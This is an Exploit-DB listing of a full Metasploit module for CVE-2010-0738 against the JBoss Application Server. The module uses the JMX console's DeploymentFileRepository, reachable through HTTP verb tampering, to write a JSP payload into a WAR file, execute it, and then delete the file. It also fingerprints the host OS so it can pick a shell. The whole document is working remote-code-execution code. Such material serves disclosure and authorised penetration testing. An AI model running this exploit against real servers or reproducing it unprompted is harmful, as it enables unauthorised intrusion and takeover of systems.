标题: JBoss - Java Class DeploymentFileRepository WAR Deployment (Metasploit) EDB-ID: 16316 CVE: 2010-0738 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-03 漏洞利用脚本: ##
# $Id: jboss_deploymentfilerepository.rb 9950 2010-08-03 15:14:34Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'JBoss Java Class DeploymentFileRepository WAR deployment',
   'Description' => %q{
     This module uses the DeploymentFileRepository class in
    JBoss Application Server (jbossas) to deploy a JSP file
    in a minimal WAR context.
   },
   'Author'      => [ 'MC', 'Jacob Giannantonio', 'Patrick Hof' ],
   'License'     => MSF_LICENSE,
   'Version'     => '$Revision: 9950 $',
   'References'  =>
    [
     [ 'CVE', '2010-0738' ], # by using VERB other than GET/POST
     [ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ]
    ],
   'Privileged'  => false,
   'Platform'    => ['linux', 'windows' ],
   'Targets'     =>
    [
     [ 'Universal',
      {
       'Arch' => ARCH_JAVA,
       'Payload' =>
        {
         'DisableNops' => true,
        },
      }
     ],
    ],
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(8080),
    OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
    OptString.new('JSP',   [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
    OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
    OptString.new('PATH',  [ true,  'The URI path of the JMX console', '/jmx-console' ]),
    OptString.new('VERB',  [ true, "The HTTP verb to use", "POST"]),
   ], self.class)
 end

 def exploit
  jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
  app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

  p = payload
  if datastore['SHELL'] == 'automatic'
   if not (plat = detect_platform())
    raise RuntimeError, 'Unable to detect platform!'
   end

   case plat
   when 'linux'
    datastore['SHELL'] = '/bin/sh'
   when 'win'
    datastore['SHELL'] = 'cmd.exe'
   end

   print_status("SHELL set to #{datastore['SHELL']}")

   return if ((p = exploit_regenerate_payload(plat, target_arch)) == nil)
  end


  #
  # UPLOAD
  #
  data =  'action=invokeOpByName'
  data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
  data << '&methodName=store'
  data << '&argType=java.lang.String'
  data << '&arg0=' + Rex::Text.uri_encode(app_base) + '.war'
  data << '&argType=java.lang.String'
  data << '&arg1=' + jsp_name
  data << '&argType=java.lang.String'
  data << '&arg2=.jsp'
  data << '&argType=java.lang.String'
  data << '&arg3=' + Rex::Text.uri_encode(p.encoded)
  data << '&argType=boolean'
  data << '&arg4=True'

  if (datastore['VERB'] == "POST")
   res = send_request_cgi(
    {
     'uri'    => datastore['PATH'] + '/HtmlAdaptor',
     'method' => datastore['VERB'],
     'data'   => data
    }, 5)
  else
   res = send_request_cgi(
    {
     'uri'    =>  datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data,
     'method' => datastore['VERB'],
    }, 5)
  end

  #
  # EXECUTE
  #
  # Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
  # but the file still gets written.
  if (res.code == 200 || res.code == 500)
   uri = '/' + app_base + '/' + jsp_name + '.jsp'
   print_status("Triggering payload at '#{uri}'...")
   verb = 'GET'
   if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
    verb = 'HEAD'
   end
   # JBoss might need some time for the deployment. Try 5 times at most
   # and sleep 3 seconds in between.
   5.times do
    res = send_request_raw(
     {
      'uri'    => uri,
      'method' => verb,
     })
    if !res
     print_error("Execution failed on '#{uri}' [No Response], retrying...")
     select(nil,nil,nil,3)
    elsif (res.code < 200 or res.code >= 300)
     print_error("Execution failed on '#{uri}' [#{res.code} #{res.message}], retrying...")
     select(nil,nil,nil,3)
    elsif res.code == 200
     print_status("Successfully triggered payload at '#{uri}'.")
     break
    else
     print_error("Denied...")
    end
   end

   #
   # DELETE
   #
   # The WAR can only be removed by physically deleting it, otherwise it
   # will get redeployed after a server restart.
   print_status("Undeploying #{uri} by deleting the WAR file via DeploymentFileRepository.remove()...")
   res1 = delete_file(Rex::Text.uri_encode(app_base) + '.war', jsp_name, '.jsp')
   res2 = delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
   [res1, res2].each do |res|
    if !res
     print_error("WARNING: Unable to remove WAR [No Response]")
    end
    if (res.code < 200 || res.code >= 300)
     print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
    end
   end

   handler
  end
 end

 # Delete a file with DeploymentFileRepository.remove().
 def delete_file(folder, name, ext)
  data =  'action=invokeOpByName'
  data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
  data << '&methodName=remove'
  data << '&argType=java.lang.String'
  data << '&arg0=' + folder
  data << '&argType=java.lang.String'
  data << '&arg1=' + name
  data << '&argType=java.lang.String'
  data << '&arg2=' + ext

  if (datastore['VERB'] == "POST")
   res = send_request_cgi(
    {
     'uri'    => datastore['PATH'] + '/HtmlAdaptor',
     'method' => datastore['VERB'],
     'data'   => data
    }, 5)
  else
   res = send_request_cgi(
    {
     'uri'    =>  datastore['PATH'] + '/HtmlAdaptor;index.jsp?' + data,
     'method' => datastore['VERB'],
    }, 5)
  end
  res
 end

 def detect_platform
  print_status("Attempting to automatically detect the platform...")
  path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
  res = send_request_raw(
   {
    'uri' => path,
   }, 20)

  if (not res) or (res.code != 200)
   print_error("Failed: Error requesting #{path}")
   return nil
  end

  if (res.body =~ /<td.*?OSName.*?(Linux|Windows).*?<\/td>/m)
   os = $1
   if (os =~ /Linux/i)
    return 'linux'
   elsif (os =~ /Windows/i)
    return 'win'
   end
  end
  nil
 end
end URL: https://www.exploit-db.com/exploits/16316